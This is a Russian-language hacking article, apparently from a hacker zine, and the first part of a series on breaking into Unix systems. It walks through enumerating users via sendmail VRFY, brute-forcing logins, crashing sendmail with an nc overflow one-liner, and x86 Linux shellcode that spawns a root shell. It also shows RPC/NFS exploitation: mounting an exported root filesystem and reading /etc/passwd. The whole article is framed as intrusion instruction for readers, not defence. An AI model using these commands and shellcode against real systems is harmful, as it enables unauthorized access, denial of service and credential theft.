Взлом *nix (часть 1)

Начнём-с, вы меня ещё не знаете, тут мне поручили вести раздел *nix, и моя первая статья будет о Взломе этих самых никс систем. Т.к этот вопрос серьёзно на мазафаке не затрагивался, то начну с классификации взлома:

"Brute force" ака наглость.

Не очень элегантный но весьма эффективный метод. Атака "грубой силой" представляет собой угадывание комбинации login/pass. Выгоднее всего атаковать этим методом службы:
· Telnet
· FTP
· rlogin, rsh
· shell(SHH)
· POP
· HTTP
Сначала требуется получить список учётных записей user’ов. Для этого очень удобно воспользоваться демоном sendmail, скрипт для перебора по словарю логинов (посылать на сервер по порту инфу в виде VRFY [email protected], а полученный ответ писать в фаил, в скором времени я дам вам такой скрипт), или просо подружиться с админом, главное не забывать о рекогносцировке(социальной инженерии).Подобрать пароль к одной из них(brute force ), возможно попадётся юзер с привелегированными правами.

До сегодняшнего времени большую роль играет “человеческий фактор”, нередки пассворды типа:12345, qwerty, pass. Конечно тебе влом сидеть за компом и вручную перебирать пассворды, для этого дядьки программисты придумали "Средства автоматического угадывания паролей":
Brute_web
Pop.c
Middelfinger
John_the_Ripper.

Итого: Юзать этот метод только в тех случаях, когда больше ничего не остаётся т.к на модеме подбирать пасс :%№DS&^+ будешь до самой смерти, а на выделенке очень большой траффик жрёт.

Переполнение буфера (buffer overflow).
Состояние переполнения буфера порисходит, когда пользователь или процесс пытается переместить в буфер (массив фиксированного размера) больше данных , чем было заявленно при его инициализации (обьявлении). Например, в C/C++ преполнение буфера вызывают функции srcopy(), strcat(), sprintf().

Вернёмся к нашему любимому sendmail, он работает с правом root, предположим, у нас имеется буфер размером 128 байт и хранит входные данные команды VRFY (юзается для проведения аудентификации), и если вместо имени пользователя послать блок данных , состоящий из 10000 символов "x" :
echo "vrfy 'perl -e ' print ' "x" x 10000' ' " | nc www.host.com 25
Произойдёт крах демона, и отказ от обслуживания(DoS).
Но отправив в буфер 1000 "х", мы ничего не добьёмся, во время атаки можно вставить ассемблерный код (или код на С++), который будет являться частью переполняющей буфер строки.
ВАЖНО! Ассемблерный код зависит от платформы и операционной системы , пример приведён для Linux X86
Char shellcode [ ] =
"\xeb\xlf\x5e\x89\x76\x08\x32\xc0\x88\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh" ;
Очевидно, что, переполнив буфер, этот код вызовет /bin/sh (оболочку) с правами root, на этом хак заканчивается!
Что бы быть в курсе всех событий , заглядывай в Bag-Traq на www.securityfocus.com, там же найдёшь последние эксплоиты.
ИТОГО: Удобная фенька для непорпатченных серваков и тупых админов, которые никогда не апгрейтят своих демонов.

Служба вызова удалённых процедур && NFS
Это является самой вкусной частью взлома, я хочу уделить ей большую часть Сначала немного теории. Remote Procedure Call (RPC) или служба вызова удалённых процедур позволяет программам одного компьютера беспрепятственно исполнять код на удалённой машине. Служба rpc регистрирует свой запуск через картограф портов ака portmapper. Для взаимодействия с RPC нужно запросить у картографа номер порта на котором сидит RPC.

Это можно сделать при помощи утилиты rpcinfo , но бывает так , что служба картографа защищена брандмауэром , в этих случаях юзай параметр -n. Большую проблему создают атаки переполнения буфера RPC при работе rpc.ttdbservd и rpc.cmsd. Так же опасными службами являются rpc.statd и mountd, работающие с правами root. Список соответствия между именами служб и именами процедур хранится в /etc/rpc, удалённо их можно получить, сделав
Rpcinfo -p 123.45.6.789
RPC тесно связан с NFS (Network File System).
Хватит языком чесать, ближе к делу. Начнём с проверки системы на исполнение службы NFS и запустив portmapper узнаём какие работают серверы (перед сканом я открыл у себя все порты и серверы, не буду приводить полный список , приведу только то , что нужно именно нам):
[ [email protected] /root]# rpcinfo -p 172.30.4.55
program vers proto port
-----------------------------------------
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 1 tcp 32811 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100227 2 udp 2049 nfs_acl
100227 3 udp 2049 nfs_acl
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
------------------------------------------
Видно, что работают серверы mountd и nfs. Теперь посмотрим, можно ли получить доступ к чему-нибудь:
[ [email protected] /root ]# showmount -e 172.30.4.55
Export list for 127.0.0.1:
/ (everyone)
Бинго! Значит мы спокойно можем примонтировать раздел "/" :
[ [email protected] /root ]# mount 172.30.4.55: / /mnt
Исследовать NFS лучше всего прогой nfsshell:
[ [email protected] /root ]# nfs
nfs> host 172.30.4.55
Using a privileged port (1021)
Mount '/', TCP, transfer size 9165 bytes
Поскольку мы смонтировали всю файловую систему, несложно получить доступ к /etc/passwd (/etc/shadow)
Nfs> cd /etc
Nfs> cat passwd
Не удивляйтесь, мои пассы храняться в /etc/passwd т.к я ставил специально дырявую систему для примеров.
Этот фаил хранит именя пользователей и соответствующие им UID( идентификаторы). Этот фаил скрыт и поэтому мы не увидим пасворда root, лучше использовать другой UID имеющий доступ равный root'у .
Эта тема очень обширна, другие методы взлома будут представлены в следующих частях статьи.

The Power to Serve!
Plr8tr, [email protected]